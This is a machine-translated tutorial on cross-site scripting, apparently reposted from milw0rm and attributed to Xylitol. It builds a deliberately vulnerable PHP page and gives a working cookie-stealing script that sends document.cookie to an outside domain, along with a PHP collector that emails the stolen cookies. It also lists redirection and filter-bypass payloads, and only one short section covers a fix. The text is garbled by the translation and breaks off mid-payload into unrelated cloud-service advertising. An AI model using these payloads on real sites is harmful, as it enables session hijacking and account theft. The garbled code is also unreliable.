Original article: milw0rm.com
By Xylitol
Translation: Old Man
Initial: http://lovelaozang.cn
Abstract:
1> what is XSS?
2> XSS script attacks
3> Create a cookie attack
4> XSS Protection
5> stupid Methods
6> Filter Bypass
7> Flash attack
8> XSS upload
9> XSS phishing
________
//
______//_____________________________________\______
| // |
| //.: Chapter 1-What is XSS? :. |
| ___ // _______________________________________________ \ ___ |
//
/___/\___
XSS scripts are a browser that uses a vulnerability-based security solution. This attack causes content (scripts) to be executed and authorized in the non-privileged Zone
Limited to a privileged zone-that is, a privileged upgrade and a client (browser) to execute scripts. These vulnerabilities may be:
* Web browser vulnerabilities. This allows content (scripts) to be executed in a higher privileged zone under certain conditions.
* Web browser configuration vulnerabilities. Insecure websites are listed in specific regions.
* Cross-site scripting attacks on specific regions
There are two steps to use command-based attacks:
Step 1: Use a cross-site scripting attack to obtain the code execution permission in a specific region. In order to complete the attack, and then use the insecure ActiveX Control to create one on the corresponding computer
Some malicious operations.
After the attack is completed, malicious software (such as the remote control software of worms) will be quietly installed on the computer of the attacker and some harmful web pages will be opened.
________
//
______//_____________________________________\______
| // |
| //.: Chapter 2-XSS Script attack:. |
| ___ // _______________________________________________ \ ___ |
//
/___/\___
Create a text document and put the following code into it:
<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
Transitional. dtd ">
<Html xmlns = "http://www.w3.org/5o/xhtml">
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = iso-8859-1"/>
<Style type = "text/css">
<! -
Body, td, th {
Color: # FFFFFF;
}
Body {
Background-color: #000000;
}
->
</Style> <title> Simple XSS vulnerability by Xylitol </title>
<Body>
<Form action = "XSS. php" method = "post">
<P align = "center"> <strong> Simple XSS vulnerability by Xylitol </strong> </p>
<Div align = "center">
<Table width = "270" border = "0">
<Tr>
<Td width = "106"> <strong> Search: </strong> </td>
<Td width = "154"> <input name = "Vulnerability" type = "text" id = "Vulnerability"/> </td>
</Tr>
</Table>
<Table width = "268" border = "0">
<Tr>
<Td width = "262"> <div align = "center">
<Input name = "submit" type = "submit" value = "Search it! "/>
</Div> </td>
</Tr>
</Table>
</Div>
</Form>
</Body>
</Html>
Then save the page as index.html.
Create a new text document and put the following code in it:
<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
Transitional. dtd ">
<Html xmlns = "http://www.w3.org/5o/xhtml">
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = iso-8859-1"/>
<Title> Search result: </title>
<Style type = "text/css">
<! -
Body, td, th {
Color: # FFFFFF;
}
Body {
Background-color: #000000;
}
->
</Style> <Body>
<Span class = "alerte"> Search result: </span> & nbsp; <strong> <? Php echo $ _ POST [Vulnerability];?> </Strong> & nbsp;
</Body>
</Html>
Save the file as XSS. php
Close notepad
Open index.html in firefox.
Enter a value and click search.
Return page Input
<Script> alert ('xss') </script>
Send form
A dialog box is displayed.
_______________________________________
/Http: // 127.0.0.1 dit: X
| ____________________________________________ |
|
|
| ^ |
|/|
|/| XSS |
|/. |
| --- |
| ______ |
| OK |
| -- |
| ____________________________________________ |
The XSS attack...
________
//
______//_____________________________________\______
| // |
| //.: Chapter 3-create a cookie attack:. |
| ___ // _______________________________________________ \ ___ |
//
/___/\___
Insert this code into a vulnerable page (for example, message board)
<Script>
Window. open ("http://www.lovelaozang.cn/cookie.php? Cookies = "+ document. cookie );
</Script>
(Www.Hax0r.com = your website)
Open notepad, put the following code, and save it as cookie. php.
<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
Transitional. dtd ">
<Html xmlns = "http://www.w3.org/5o/xhtml">
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = iso-8859-1"/>
<Title> Error </title>
<Style type = "text/css">
<! -
Body, td, th {
Color: # FFFFFF;
}
Body {
Background-color: #000000;
}
->
</Style> <? Mail ('email @ example.com ', 'cookie stealed! -Thx xyli :) ', $ cookies);?>
<Body>
<H2> <strong> Error </strong>-<strong> Access denied </strong> for <? Echo $ _ SERVER ["REMOTE_ADDR"];?> </H2>
</Body>
</Html>
This is not enough for attackers to receive emails.
________
//
______//_____________________________________\______
| // |
| //.: Chapter 4-protects XSS:. |
| ___ // _______________________________________________ \ ___ |
//
/___/\___
Fix vulnerabilities:
Use htmlentities to fix XSS vulnerabilities
Place in 16th rows
<Body>
<Span class = "alerte"> Search result: </span> & nbsp; <strong> <? Php echo $ _ POST [Vulnerability];?> </Strong> & nbsp;
</Body>
By:
<Body>
<Span class = "alerte"> Search result: </span> & nbsp; <strong> <? Php
If (isset ($ _ POST [Vulnerability]) {echo htmlentities ($ _ POST [Vulnerability]) ;}?> </Strong> & nbsp;
</Body>
Use htmlspecialchars () function in PHP
Other function:
Htmlentities () quotes
Strip_tags ()
...
________
//
______//_____________________________________\______
| // |
| //.: Chapter 5-stupid method:. |
| ___ // _______________________________________________ \ ___ |
//
/___/\___
To launch an XSS attack is quite simple. Here are some common methods:
Use image:
Flash:
<Embed src = "http://hax0r.com/Haxored.swf”>
Redirection:
<Script> window. open ("http://lovelaozang.cn/xss.html") </script>
Also:
<Meta http-equiv = "refresh" content = "0; url = http://lovelaozang.cn/xss.html"/>
________
//
______//_____________________________________\______
| // |
| //.: Chapter 6-Filter Bypass:. |
| ___ // _______________________________________________ \ ___ |
//
/___/\___
In fact, it's not that easy to bypass htmlspecialchars ()
Here are some examples of bypassing xss:
<META HTTP-EQUIV = "refresh" CONTENT = "0; URL = http: //; URL = javascript: alert ('xss');">
<META HTTP-EQUIV = "refresh" CONTENT = "0; url = javascript: alert ('xss');">
'"> <Marquee>
'"> <Script> alert ('xss') </script>
'>>< Marquee>
"> <Script alert (String. fromCharCode (88,83, 83) </script>
<Iframe <? Php echo chr (11)?> Onload = alert ('xss')> </iframe>
<Div
Style = "x
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
